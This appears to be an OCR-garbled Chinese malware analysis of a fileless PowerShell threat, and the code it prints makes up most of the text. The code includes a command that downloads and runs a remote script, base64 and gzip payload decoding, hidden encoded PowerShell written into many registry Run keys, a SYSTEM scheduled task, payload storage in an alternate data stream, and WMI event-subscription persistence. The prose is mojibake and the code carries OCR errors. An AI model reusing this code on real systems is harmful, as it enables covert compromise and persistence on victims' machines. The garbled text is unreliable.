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c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX({ (new

-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) |
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$data=[System.Convert] : : FromBase645tring( TRUNCATED );3ms=New-Object System.ID.MemoryStream;s$ms.wWrite(
$data,d, $data.Length) ; $ms.Seek(d,8) |Out-MNull; $cs=New-0Object System.ID.Compression.GZipStream($ms, [System.IO.

Compression.CompressionMode] : :Decompress) ; $sr=New-Object System.I0.StreamReader($cs);IEX($sr.readtoend()])|
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Powershell 5% 5 A% Windows ;¥ &S

New-ItemProperty —Path 'HKCU:\Control Panel\Desktop' —-Name 'IE' -Value $stgB64 —force

E 6: IiEMRE

Powershell EJEE — MR EDER & 4 $stagerCode, faEmiZEZ BITFHELE ;MR DAY AT
Hift1THRRD, AREBERITHARE. BEREERIK “1823821749” 2EFE. WREERIK
R1FTE, MRIBS YL IT

$hE4=(Get-ItemProperty —Path "HKCU:“Control Panel\Desktop').IE;$stCode=[System.Text.Encoding]::Unicode.
GetString( [System.Convert] : : FromBaseb4String(sh6al): [Svstem. Threading.Mutex]s$m; [bool] $mtmp=$false; $m=New-

Object System.Threading.Mutex{$true, [string 1823821749 [ref] $mtmp);if(!Smtmp){exit;}IEX $stCode;
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Hﬂ%%hﬁ#uﬂtﬂ, HMmEEFZ A “IE” BEMEIR.

e HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

o HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce

o HKLM:\Software\Microsoft\Windows\CurrentVersion\RunServices

o HKCU:\Software\Microsoft\Windows\CurrentVersion

o HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Run
o HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon

e HKLM:\System\CurrentControlSet\Services\VxD

o HKCR:\vbsfile\shel\open\command
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$eCmd = [Convert]::ToBaseG45tring( [System.Text.Encoding] : :Unicode.GetBytes($stagerCode))

try{New-ItemP roperty —Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' —Mame "IE"' -Value
"powershell.exe -ep bypass —noni -w hidden —e $eCmd" -force

} catch{}

try{New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce' -Name '"IE' -Value
"powershell.exe —ep bypass =noni =w hidden -e seCmd" -force

} catch{}

try{New-ItemProperty -Path °HKLM:\Software\Microsoft\Windows\CurrentVersion\RunServices' -Mame 'IE' -Value
"powershell.exe —ep bypass -nonl —w hidden —e SeCmd" -force

} catch{}

try{New-ItemProperty -Path °"HKCU:\Software\Microsoft\Windows\CurrentVersion' -MName 'IE* -Value “powershell,
exe -ep bypass -nonl -w hidden -e $eCmd" —force

} catch{}

try{New-ItemProperty —Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Mame 'IE' -Value
“powershell.exe —ep bypass -noni -w hidden -e $eCmd™ -force

} catch{}

try{New-P5Drive -Name HKU -PSProvider Registry —Root HKEY_USERS

New=ItemProperty =Path "HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Run' =Name "IE" =
Value “powershell.exe —ep bypass —nonli —w hidden -e $eCmd" -force

} carch{}

try{New-ItemProperty —Path 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon' -Mame 'IE' -Value
“powershell.exe —ep bypass —-noni -w hidden -e $eCmd™ -force

} catch{}

try{New-ItemProperty —Path "HKLM:\System\CurrentControlSet\Services\VxD' -Name 'IE" -Value "powershell.exe
-ep bypass -noni -w hidden —e 3elmd" -force

} catch{}

try{New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT

New-ItemProperty —Path "HKCR:\wbsfile\shelll\open\command' -Name 'IE' -Value "powershell.exe -ep bypass -
noni -w hidden -e $eCmd" -force
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TERHLSEIEZA “IE” MIHERS, ARESRRAKBEHNERAMILENLEIRRR
1T $stagerCode.

function Invoke-PrepareScheduledTask
{ $taskName = "IE'

$task = Get-ScheduledTask -TaskName StaskName -ErrorAction SilentlyContinue
if ($task -ne Snull)

{ Unregister-5cheduledTask -TaskName $taskhame —Confirm:sfalse
$action = New-5cheduledTaskAction -Execute ‘powershell.exe' -Argument *
Selmd"

—ep bypass -noni -w hidden -e

ftrigger = New-5ScheduledTaskTrigger -AtStartup —-RandomDelay 00:88:38

$settings = New-ScheduledTaskSettingsSet -Compatibility Wing

$principal = New-5cheduledTaskPrincipal -UserId SYSTEM -LogonType ServiceAccount -Runlevel Highest
$definition = New-5cheduledTask -Action %action -Principal $principal -Trigger %$trigger -Settings
$settings -Description "Run $($taskName) at startup"

Register-ScheduledTask -Taskiame $taskName -InputObject $definition

$task = Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue
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BERAIRA “kernel32_filter” , {EHIEFZFRA “kernel32_consumer” . A FHITIXL(ES
Y Powershell fXA3U1 T F7R:

$psVersion = [convert]::ToInt32(S$($PSVersionTable.PSVersion.Major|Out-5tring).Trim()}
tadsDir = $envi:programdata + "\Windows'
$adsModuleName = ‘kernel32.dll”
if {$psVersion —gt 2)
{ Set=Content —Path $adsDir -Value $ServiceCode -5tream 'kernel32.dll’
}
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]
1i1GetCurrent() )
if ($currentPrincipal.IsInRole( [Security.Principal.WindowsBuiltInRole]::Administrator) —-eq $true)

§filterMame = "kernel32_Filter®;
sconsumerMame = "kernel32_Consumer';

Get-WmiObject _ eventFilier -namespace root\subscription | Remove-wWmilbject

Get-WmiObject CommandlLineEventConsumer -Namespace root\subscription | Remove-WmiObject

Get-WmiObject _ filtertoconsumerbinding -Namespace rooth\subscription | Remove-WmiObject

$filterResult = Set-WmiInstance -Computername %$env:COMPUTERNAME -Namespace ‘root\subscription' -Class
__EventFilter -Arguments @{Name = $filterName; EventNamespace = 'root\CIMVZ'; QuerylLanguage = "WOL';
Query = "Select % from _ InstanceCreationEvent within 38 where targetInstance isa 'Win32_LogonSession'"}
if (4psVersion =gt 2)

{$encCmd = [Convert]::ToBaseB45tring( [System.Text.Encoding]::Unicode.GetBytes("IEX "%(Get-Content -Path
$adsDir -5tream S$adsModuleiName |Qut-5tring)™))

Set-WmiInstance —Computername $env:COMPUTERNAME -Namespace 'root\subscription' -Class
CommandLineEventConsumer =Arguments @{Name = $consumerName; ExecutablePath =
"CivWindows\System32\WindowsPowersShell\vl.@\powershell.exe'; CommandLineTemplate =
"C:\Windows\System32\WindowsPowerShell\vl.@\powershell.exe -ep bypass -noni -w hidden —e $encCmd "}
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